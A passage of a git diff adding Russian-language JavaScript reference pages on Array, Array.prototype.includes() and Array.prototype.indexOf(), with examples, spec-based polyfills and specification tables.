+ <dt><code>searchElement</code></dt>
+ <dd>Искомый элемент.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>Позиция в массиве, с которой начинать поиск элемента  <code>searchElement</code>. При отрицательных значениях поиск производится начиная с индекса <code>array.length + fromIndex</code> по возрастанию. Значение по умолчанию равно 0.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Boolean")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">[1, 2, 3].includes(2);     // true
+[1, 2, 3].includes(4);     // false
+[1, 2, 3].includes(3, 3);  // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+</pre>
+
+<h3 id="fromIndex_больше_или_равен_длине_массива"><code>fromIndex</code> больше или равен длине массива</h3>
+
+<p>Если <code>fromIndex</code> больше или равен длине массива, то возвращается <code>false</code>. При этом поиск не производится.</p>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+arr.includes('c', 3);   // false
+arr.includes('c', 100); // false</pre>
+
+<h3 id="Вычисленный_индекс_меньше_нуля_0">Вычисленный индекс меньше нуля 0</h3>
+
+<p>Если <code>fromIndex</code> отрицательный, то вычисляется индекс, начиная с которого будет производиться поиск элемента <code>searchElement</code>. Если вычисленный индекс меньше нуля, то поиск будет производиться во всём массиве.</p>
+
+<pre class="brush: js">// длина массива равна 3
+// fromIndex равен -100
+// вычисленный индекс равен 3 + (-100) = -97
+
+var arr = ['a', 'b', 'c'];
+
+arr.includes('a', -100); // true
+arr.includes('b', -100); // true
+arr.includes('c', -100); // true</pre>
+
+<h3 id="Использование_includes()_в_качестве_общих_метода">Использование <code>includes()</code> в качестве общих метода</h3>
+
+<p><code>includes()</code> специально сделан общим. Он не требует, чтобы <code>this</code> являлся массивом, так что он может быть применён к другим типам объектов (например, к массивоподобным объектам). Пример ниже показывает использование метода <code>includes()</code> на объекте <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>.</p>
+
+<pre class="brush: js">(function() {
+  console.log([].includes.call(arguments, 'a')); // true
+  console.log([].includes.call(arguments, 'd')); // false
+})('a','b','c');</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.includes
+if (!Array.prototype.includes) {
+  Object.defineProperty(Array.prototype, 'includes', {
+    value: function(searchElement, fromIndex) {
+
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      // 1. Let O be ? ToObject(this value).
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If len is 0, return false.
+      if (len === 0) {
+        return false;
+      }
+
+      // 4. Let n be ? ToInteger(fromIndex).
+      //    (If fromIndex is undefined, this step produces the value 0.)
+      var n = fromIndex | 0;
+
+      // 5. If n ≥ 0, then
+      //  a. Let k be n.
+      // 6. Else n &lt; 0,
+      //  a. Let k be len + n.
+      //  b. If k &lt; 0, let k be 0.
+      var k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+      function sameValueZero(x, y) {
+        return x === y || (typeof x === 'number' &amp;&amp; typeof y === 'number' &amp;&amp; isNaN(x) &amp;&amp; isNaN(y));
+      }
+
+      // 7. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let elementK be the result of ? Get(O, ! ToString(k)).
+        // b. If SameValueZero(searchElement, elementK) is true, return true.
+        if (sameValueZero(o[k], searchElement)) {
+          return true;
+        }
+        // c. Increase k by 1.
+        k++;
+      }
+
+      // 8. Return false
+      return false;
+    }
+  });
+}
+</pre>
+
+<p>Если требуется поддержка устаревших движков JavaScript, которые не поддерживают <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, наилучшим решением будет вообще не делать полифилл для методов <code>Array.prototype</code>, так как не получится сделать их неперечисляемыми.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.includes")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/index.html b/files/ru/web/javascript/reference/global_objects/array/index.html
new file mode 100644
index 0000000000..263de030df
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/index.html
@@ -0,0 +1,452 @@
+---
+title: Array
+slug: Web/JavaScript/Reference/Global_Objects/Array
+tags:
+  - Array
+  - JavaScript
+  - Reference
+  - Глобальные объекты
+translation_of: Web/JavaScript/Reference/Global_Objects/Array
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<div> </div>
+
+<p>Массив (<strong><code>Array</code></strong>) в JavaScript является глобальным объектом, который используется для создания массивов; которые представляют собой высокоуровневые спископодобные объекты.</p>
+
+<p><strong>Создание массива</strong></p>
+
+<pre class="brush: js">var fruits = ['Яблоко', 'Банан'];
+
+console.log(fruits.length);
+// 2
+</pre>
+
+<p><strong>Доступ к элементу массива по индексу</strong></p>
+
+<pre class="brush: js">var first = fruits[0];
+// Яблоко
+
+var last = fruits[fruits.length - 1];
+// Банан
+</pre>
+
+<p><strong>Итерирование по массиву</strong></p>
+
+<pre class="brush: js">fruits.forEach(function(item, index, array) {
+  console.log(item, index);
+});
+// Яблоко 0
+// Банан 1
+</pre>
+
+<p><strong>Добавление элемента в конец массива</strong></p>
+
+<pre class="brush: js">var newLength = fruits.push('Апельсин');
+// ["Яблоко", "Банан", "Апельсин"]
+</pre>
+
+<p><strong>Удаление последнего элемента массива</strong></p>
+
+<pre class="brush: js">var last = fruits.pop(); // удалим Апельсин (из конца)
+// ["Яблоко", "Банан"];
+</pre>
+
+<p><strong>Удаление первого элемента массива</strong></p>
+
+<pre class="brush: js">var first = fruits.shift(); // удалим Яблоко (из начала)
+// ["Банан"];
+</pre>
+
+<p><strong>Добавление элемента в начало массива</strong></p>
+
+<pre class="brush: js">var newLength = fruits.unshift('Клубника') // добавляет в начало
+// ["Клубника", "Банан"];
+</pre>
+
+<p><strong>Поиск номера элемента в массиве</strong></p>
+
+<pre class="brush: js">fruits.push('Манго');
+// ["Клубника", "Банан", "Манго"]
+
+var pos = fruits.indexOf('Банан');
+// 1
+</pre>
+
+<p><strong>Удаление элемента с определённым индексом</strong></p>
+
+<pre class="brush: js">var removedItem = fruits.splice(pos, 1); // так можно удалить элемент
+
+// ["Клубника", "Манго"]</pre>
+
+<p><strong>Удаление нескольких элементов, начиная с определённого индекса</strong></p>
+
+<pre class="brush: js">var vegetables = ['Капуста', 'Репа', 'Редиска', 'Морковка'];
+console.log(vegetables);
+// ["Капуста", "Репа", "Редиска", "Морковка"]
+
+var pos = 1, n = 2;
+
+var removedItems = vegetables.splice(pos, n);
+// так можно удалить элементы, n определяет количество элементов для удаления,
+// начиная с позиции(pos) и далее в направлении конца массива.
+
+console.log(vegetables);
+// ["Капуста", "Морковка"] (исходный массив изменён)
+
+console.log(removedItems);
+// ["Репа", "Редиска"]</pre>
+
+<p><strong>Создание копии массива</strong></p>
+
+<pre class="brush: js">var shallowCopy = fruits.slice(); // так можно создать копию массива
+// ["Клубника", "Манго"]
+</pre>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>]
+new Array(<var>element0</var>, <var>element1</var>[, ...[, <var>elementN</var>]])
+new Array(<var>arrayLength</var>)</code></pre>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>Массив в JavaScript инициализируется с помощью переданных элементов, за исключением случая, когда в конструктор <code>Array</code> передаётся один аргумент и этот аргумент является числом (см. ниже). Стоит обратить внимание, что этот особый случай применяется только к JavaScript-массивам, создаваемым с помощью конструктора <code>Array</code>, а не к литеральным массивам, создаваемым с использованием скобочного синтаксиса.</dd>
+ <dt><code>arrayLength</code></dt>
+ <dd>Если конструктору <code>Array</code> передаётся единственный аргумент, являющийся целым числом в диапазоне от 0 до 2<sup>32</sup>-1 (включительно), будет возвращён новый пустой JavaScript-массив, длина которого установится в это число (<strong>примечание</strong>: это означает массив, содержащий <code>arrayLength</code> пустых ячеек, а не ячеек со значениями <code>undefined</code>). Если аргументом будет любое другое число, возникнет исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Массивы являются спископодобными объектами, чьи прототипы содержат методы для операций обхода и изменения массива. Ни размер JavaScript-массива, ни типы его элементов не являются фиксированными. Поскольку размер массива может увеличиваться и уменьшаться в любое время, то нет гарантии, что массив окажется плотным. То есть, при работе с массивом может возникнуть ситуация, что элемент массива, к которому вы обратитесь, будет пустым и вернёт <code>undefined</code>. В целом, это удобная характеристика; но если эта особенность массива не желательна в вашем специфическом случае, вы можете рассмотреть возможность использования типизированных массивов.</p>
+
+<p>Некоторые полагают, что <a class="external" href="http://www.andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/">вы не должны использовать массив в качестве ассоциативного массива</a>. В любом случае, вместо него вы можете использовать простые {{jsxref("Global_Objects/Object", "объекты")}}, хотя у них есть и свои подводные камни. Смотрите пост <a class="external" href="http://www.less-broken.com/blog/2010/12/lightweight-javascript-dictionaries.html">Легковесные JavaScript-словари с произвольными ключами</a><em>(англ.)</em> в качестве примера.</p>
+
+<h3 id="Accessing_array_elements" name="Accessing_array_elements">Доступ к элементам массива</h3>
+
+<p>Массивы в JavaScript индексируются с нуля: первый элемент массива имеет индекс, равный <code>0</code>, а индекс последнего элемента равен значению свойства массива {{jsxref("Array.length", "length")}} минус 1.</p>
+
+<pre class="brush: js">var arr = ['первый элемент', 'второй элемент', 'последний элемент'];
+console.log(arr[0]);              // напечатает 'первый элемент'
+console.log(arr[1]);              // напечатает 'второй элемент'
+console.log(arr[arr.length - 1]); // напечатает 'последний элемент'
+</pre>
+
+<p>Элементы массива являются свойствами, точно такими же, как, например, свойство <code>toString</code>, однако попытка получить элемент массива по имени его свойства приведёт к синтаксической ошибке, поскольку имя свойства не является допустимым именем JavaScript:</p>
+
+<pre class="brush: js">console.log(arr.0); // синтаксическая ошибка
+</pre>
+
+<p>Это не особенность массивов или их свойств. В JavaScript к свойствам, начинающимся с цифры, невозможно обратиться посредством точечной нотации; к ним можно обратиться только с помощью скобочной нотации. Например, если у вас есть объект со свойством, названным <code>'3d'</code>, вы сможете обратиться к нему только посредством скобочной нотации. Примеры:</p>
+
+<pre class="brush: js">var years = [1950, 1960, 1970, 1980, 1990, 2000, 2010];
+console.log(years.0);   // синтаксическая ошибка
+console.log(years[0]);  // работает как положено
+</pre>
+
+<pre class="brush: js">renderer.3d.setTexture(model, 'character.png');     // синтаксическая ошибка
+renderer['3d'].setTexture(model, 'character.png');  // работает как положено
+</pre>
+
+<p>Обратите внимание, что во втором примере <code>3d</code> заключено в кавычки: <code>'3d'</code>. Индексы можно заключать в кавычки (например <code>years['2']</code> вместо <code>years[2]</code>), но в этом нет необходимости. Значение 2 в выражении <code>years[2]</code> будет неявно приведено к строке движком JavaScript через метод преобразования <code>toString</code>. Именно по этой причине ключи <code>'2'</code> и <code>'02'</code> будут ссылаться на два разных элемента в объекте <code>years</code> и следующий пример выведет <code>true</code>:</p>
+
+<pre class="brush: js">console.log(years['2'] != years['02']);
+</pre>
+
+<p>Аналогично, к свойствам объекта, являющимся зарезервированными словами(!) можно получить доступ только посредством скобочной нотации:</p>
+
+<pre class="brush: js">var promise = {
+  'var'  : 'text',
+  'array': [1, 2, 3, 4]
+};
+
+console.log(promise['array']);
+</pre>
+
+<h3 id="Relationship_between_length_and_numerical_properties" name="Relationship_between_length_and_numerical_properties">Взаимосвязь свойства <code>length</code> с числовыми свойствами</h3>
+
+<p>Свойство массивов {{jsxref("Array.length", "length")}} взаимосвязано с числовыми свойствами. Некоторые встроенные методы массива (например, {{jsxref("Array.join", "join")}}, {{jsxref("Array.slice", "slice")}}, {{jsxref("Array.indexOf", "indexOf")}} и т.д.) учитывают значение свойства <code>length</code> при своём вызове. Другие методы (например, {{jsxref("Array.push", "push")}}, {{jsxref("Array.splice", "splice")}} и т.д.) в результате своей работы также обновляют свойство <code>length</code> массива.</p>
+
+<pre class="brush: js">var fruits = [];
+fruits.push('банан', 'яблоко', 'персик');
+
+console.log(fruits.length); // 3
+</pre>
+
+<p>При установке свойства в массиве, если свойство имеет действительный индекс и этот индекс выходит за пределы текущих границ массива, движок соответствующим образом обновит свойство {{jsxref("Array.length", "length")}}:</p>
+
+<pre class="brush: js">fruits[5] = 'манго';
+console.log(fruits[5]);             // 'манго'
+console.log(Object.keys(fruits));   // ['0', '1', '2', '5']
+console.log(fruits.length);         // 6
+</pre>
+
+<p>Увеличиваем свойство <code>length</code></p>
+
+<pre class="brush: js">fruits.length = 10;
+console.log(Object.keys(fruits));   // ['0', '1', '2', '5']
+console.log(fruits.length);         // 10
+</pre>
+
+<p>Однако, уменьшение свойства {{jsxref("Array.length", "length")}} приведёт к удалению элементов.</p>
+
+<pre class="brush: js">fruits.length = 2;
+console.log(Object.keys(fruits)); // ['0', '1']
+console.log(fruits.length); // 2
+</pre>
+
+<p>Более подробно эта тема освещена на странице, посвящённой свойству {{jsxref("Array.length")}}.</p>
+
+<h3 id="Creating_an_array_using_the_result_of_a_match" name="Creating_an_array_using_the_result_of_a_match">Создание массива с использованием результата сопоставления</h3>
+
+<p>Результатом сопоставления регулярного выражения строке является JavaScript-массив. Этот массив имеет свойства и элементы, предоставляющие информацию о сопоставлении. Подобные массивы возвращаются методами {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}} и {{jsxref("String.replace")}}. Чтобы было проще понять, откуда и какие появились свойства и элементы, посмотрите следующий пример и обратитесь к таблице ниже:</p>
+
+<pre class="brush: js">// Сопоставляется с одним символом d, за которым следует один
+// или более символов b, за которыми следует один символ d
+// Запоминаются сопоставившиеся символы b и следующий за ними символ d
+// Регистр игнорируется
+
+var myRe = /d(b+)(d)/i;
+var myArray = myRe.exec('cdbBdbsbz');
+</pre>
+
+<p>Свойства и элементы, возвращаемые из данного сопоставления, описаны ниже:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Свойство/Элемент</td>
+   <td class="header">Описание</td>
+   <td class="header">Пример</td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>Свойство только для чтения, отражающее оригинальную строку, с которой сопоставлялось регулярное выражение.</td>
+   <td>cdbBdbsbz</td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>Свойство только для чтения, являющееся индексом (отсчёт начинается с нуля) в строке, с которого началось сопоставление.</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>Элемент только для чтения, определяющий последние сопоставившиеся символы.</td>
+   <td>dbBd</td>
+  </tr>
+  <tr>
+   <td><code>[1], ...[n]</code></td>
+   <td>Элементы только для чтения, определяющие сопоставившиеся подстроки, заключённые в круглые скобки, если те включены в регулярное выражение. Количество возможных подстрок не ограничено.</td>
+   <td>[1]: bB<br>
+    [2]: d</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("Array.length")}}</dt>
+ <dd>Значение свойства <code>length</code> конструктора массива равно 1.</dd>
+ <dt>{{jsxref("Array.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства ко всем объектам массива.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Array.from()")}} {{experimental_inline}}</dt>
+ <dd>Создаёт новый экземпляр <code>Array</code> из массивоподобного или итерируемого объекта.</dd>
+ <dt>{{jsxref("Array.isArray()")}}</dt>
+ <dd>Возвращает <code>true</code>, если значение является массивом, иначе возвращает <code>false</code>.</dd>
+ <dt>{{jsxref("Array.observe()")}} {{experimental_inline}}</dt>
+ <dd>Асинхронно наблюдает за изменениями в массиве, подобно методу {{jsxref("Object.observe()")}} для объектов. Метод предоставляет поток изменений в порядке их возникновения.</dd>
+ <dt>{{jsxref("Array.of()")}} {{experimental_inline}}</dt>
+ <dd>Создаёт новый экземпляр <code>Array</code> из любого количества аргументов, независимо от их количества или типа.</dd>
+</dl>
+
+<h2 id="Array_instances" name="Array_instances">Экземпляры массива</h2>
+
+<p>Все экземпляры массива наследуются от {{jsxref("Array.prototype")}}. Изменения в объекте прототипа конструктора массива затронет все экземпляры <code>Array</code>.</p>
+
+<h3 id="Methods_of_array_instances" name="Methods_of_array_instances">Свойства</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_array_instances" name="Methods_of_array_instances">Методы</h3>
+
+<h4 id="Mutator_methods" name="Mutator_methods">Методы изменения</h4>
+
+<div>{{page('ru/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Mutator_methods')}}</div>
+
+<h4 id="Accessor_methods" name="Accessor_methods">Методы доступа</h4>
+
+<div>{{page('ru/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Accessor_methods')}}</div>
+
+<h4 id="Iteration_methods" name="Iteration_methods">Методы обхода</h4>
+
+<div>{{page('ru/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Iteration_methods')}}</div>
+
+<h2 id="Array_generic_methods" name="Array_generic_methods">Общие методы массива</h2>
+
+<p>Иногда хочется применить методы массива к строкам или другим массивоподобным объектам (например, к {{jsxref("Functions_and_function_scope/arguments", "аргументам", "", 1)}} функции). Делая это, вы трактуете строку как массив символов (другими словами, рассматриваете не-массив в качестве массива). Например, в порядке проверки каждого символа в переменной <var>str</var> на то, что он является буквой (латинского алфавита), вы пишете следущий код:</p>
+
+<pre class="brush: js">function isLetter(character) {
+  return character &gt;= 'a' &amp;&amp; character &lt;= 'z';
+}
+
+if (Array.prototype.every.call(str, isLetter)) {
+  console.log("Строка '" + str + "' содержит только (латинские) буквы!");
+}
+</pre>
+
+<p>Эта запись довольно расточительна и в JavaScript 1.6 введён общий сокращённый вид:</p>
+
+<pre class="brush: js">if (Array.every(str, isLetter)) {
+  console.log("Строка '" + str + "' содержит только (латинские) буквы!");
+}
+</pre>
+
+<p>{{jsxref("Global_Objects/String", "Общие методы", "#String_generic_methods", 1)}} также доступны для объекта {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<p>В настоящее время они не являются частью стандартов ECMAScript (хотя в ES2015 для достижения поставленной цели можно использовать <a href="https://github.com/monolithed/ECMAScript-6"><code>Array.from()</code></a>). Следующая прослойка позволяет использовать их во всех браузерах:</p>
+
+<pre class="brush: js">// Предполагаем, что дополнения массива уже присутствуют (для них так же можно использовать polyfill'ы)
+(function() {
+  'use strict';
+
+  var i,
+    // Мы могли построить массив методов следующим образом, однако метод
+    //  getOwnPropertyNames() нельзя реализовать на JavaScript:
+    // Object.getOwnPropertyNames(Array).filter(function(methodName) {
+    //   return typeof Array[methodName] === 'function'
+    // });
+    methods = [
+      'join', 'reverse', 'sort', 'push', 'pop', 'shift', 'unshift',
+      'splice', 'concat', 'slice', 'indexOf', 'lastIndexOf',
+      'forEach', 'map', 'reduce', 'reduceRight', 'filter',
+      'some', 'every'
+    ],
+    methodCount = methods.length,
+    assignArrayGeneric = function(methodName) {
+      if (!Array[methodName]) {
+        var method = Array.prototype[methodName];
+        if (typeof method === 'function') {
+          Array[methodName] = function() {
+            return method.call.apply(method, arguments);
+          };
+        }
+      }
+    };
+
+  for (i = 0; i &lt; methodCount; i++) {
+    assignArrayGeneric(methods[i]);
+  }
+}());
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Creating_an_array" name="Example:_Creating_an_array">Пример: создание массива</h3>
+
+<p>Следующий пример создаёт массив <code>msgArray</code> с длиной 0, присваивает значения элементам <code>msgArray[0]</code> и <code>msgArray[99]</code>, что изменяет длину массива на 100.</p>
+
+<pre class="brush: js">var msgArray = [];
+msgArray[0] = 'Привет';
+msgArray[99] = 'мир';
+
+if (msgArray.length === 100) {
+  console.log('Длина равна 100.');
+}
+</pre>
+
+<h3 id="Example.3A_Creating_a_two-dimensional_array" name="Example.3A_Creating_a_two-dimensional_array">Пример: создание двумерного массива</h3>
+
+<p>Следующий код создаёт шахматную доску в виде двумерного массива строк. Затем он перемещает пешку путём копирования символа 'p' в позиции (6,4) на позицию (4,4). Старая позиция (6,4) затирается пустым местом.</p>
+
+<pre class="brush: js">var board = [
+  ['R','N','B','Q','K','B','N','R'],
+  ['P','P','P','P','P','P','P','P'],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  ['p','p','p','p','p','p','p','p'],
+  ['r','n','b','q','k','b','n','r'] ];
+
+console.log(board.join('\n') + '\n\n');
+
+// Двигаем королевскую пешку вперёд на две клетки
+board[4][4] = board[6][4];
+board[6][4] = ' ';
+console.log(board.join('\n'));
+</pre>
+
+<p>Ниже показан вывод:</p>
+
+<pre class="eval">R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+p,p,p,p,p,p,p,p
+r,n,b,q,k,b,n,r
+
+R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , ,p, , ,
+ , , , , , , ,
+p,p,p,p, ,p,p,p
+r,n,b,q,k,b,n,r
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4', 'Array')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Добавлены новые методы: {{jsxref("Array.isArray")}}, {{jsxref("Array.prototype.indexOf", "indexOf")}}, {{jsxref("Array.prototype.lastIndexOf", "lastIndexOf")}}, {{jsxref("Array.prototype.every", "every")}}, {{jsxref("Array.prototype.some", "some")}}, {{jsxref("Array.prototype.forEach", "forEach")}}, {{jsxref("Array.prototype.map", "map")}}, {{jsxref("Array.prototype.filter", "filter")}}, {{jsxref("Array.prototype.reduce", "reduce")}}, {{jsxref("Array.prototype.reduceRight", "reduceRight")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array-objects', 'Array')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Добавлены новые методы: {{jsxref("Array.from")}}, {{jsxref("Array.of")}}, {{jsxref("Array.prototype.find", "find")}}, {{jsxref("Array.prototype.findIndex", "findIndex")}}, {{jsxref("Array.prototype.fill", "fill")}}, {{jsxref("Array.prototype.copyWithin", "copyWithin")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array-objects', 'Array')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Добавлен новый метод: {{jsxref("Array.prototype.includes()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Array")}}</p>
+
+<div> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide_ru/Working_with_Objects#.D0.98.D0.BD.D0.B4.D0.B5.D0.BA.D1.81.D1.8B_.D1.81.D0.B2.D0.BE.D0.B9.D1.81.D1.82.D0.B2_.D0.BE.D0.B1.D1.8A.D0.B5.D0.BA.D1.82.D0.B0">Руководство JavaScript: «Индексирование объекта свойствами»</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Predefined_Core_Objects#Array_Object">Руководство JavaScript: «Предопределённые объекты ядра: объект <code>Array</code>»</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">Выражения заполнения массива</a></li>
+ <li><a href="https://github.com/plusdude/array-generics">Полифилл для общих методов массива из JavaScript 1.8.5 и дополнений массива из ECMAScript 5</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Typed_arrays">Типизированные массивы</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/indexof/index.html b/files/ru/web/javascript/reference/global_objects/array/indexof/index.html
new file mode 100644
index 0000000000..ef6820df41
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/indexof/index.html
@@ -0,0 +1,175 @@
+---
+title: Array.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>indexOf()</strong></code> возвращает первый индекс, по которому данный элемент может быть найден в массиве или -1, если такого индекса нет.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.indexOf(<var>searchElement</var>[, <var>fromIndex</var> = 0])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>Искомый элемент в массиве.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>Индекс, с которого начинать поиск. Если индекс больше или равен длине массива, возвращается -1, что означает, что массив даже не просматривается. Если индекс является отрицательным числом, он трактуется как смещение с конца массива. Обратите внимание: если индекс отрицателен, массив всё равно просматривается от начала к концу. Если рассчитанный индекс оказывается меньше 0, поиск ведётся по всему массиву. Значение по умолчанию равно 0, что означает, что просматривается весь массив.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>indexOf()</code> сравнивает искомый элемент <code>searchElement</code> с элементами в массиве, используя <a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">строгое сравнение</a> (тот же метод используется оператором <code>===</code>, тройное равно).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_indexOf" name="Example:_Using_indexOf">Пример: использование <code>indexOf()</code></h3>
+
+<p>В следующем примере <code>indexOf()</code> используется для поиска значений в массиве.</p>
+
+<pre class="brush: js">var array = [2, 5, 9];
+array.indexOf(2);     // 0
+array.indexOf(7);     // -1
+array.indexOf(9, 2);  // 2
+array.indexOf(2, -1); // -1
+array.indexOf(2, -3); // 0
+</pre>
+
+<h3 id="Example:_Finding_all_the_occurrences_of_an_element" name="Example:_Finding_all_the_occurrences_of_an_element">Пример: нахождение всех вхождений элемента</h3>
+
+<p>В следующем примере <code>indexOf()</code> используется для поиска всех индексов элемента в указанном массиве, которые с помощью {{jsxref("Array.prototype.push()", "push()")}} добавляются в другой массив.</p>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.indexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = array.indexOf(element, idx + 1);
+}
+
+console.log(indices);
+// [0, 2, 4]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>indexOf()</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>indexOf()</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 5-го издания; он предполагает, что {{jsxref("Global_Objects/TypeError", "TypeError")}} и {{jsxref("Math.abs()")}} имеют свои первоначальные значения.</p>
+
+<pre class="brush: js">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.14
+// Ссылка (en): http://es5.github.io/#x15.4.4.14
+// Ссылка (ru): http://es5.javascript.ru/x15.4.html#x15.4.4.14
+if (!Array.prototype.indexOf) {
+  Array.prototype.indexOf = function(searchElement, fromIndex) {
+    var k;
+
+    // 1. Положим O равным результату вызова ToObject с передачей ему
+    //    значения this в качестве аргумента.
+    if (this == null) {
+      throw new TypeError('"this" is null or not defined');
+    }
+
+    var O = Object(this);
+
+    // 2. Положим lenValue равным результату вызова внутреннего метода Get
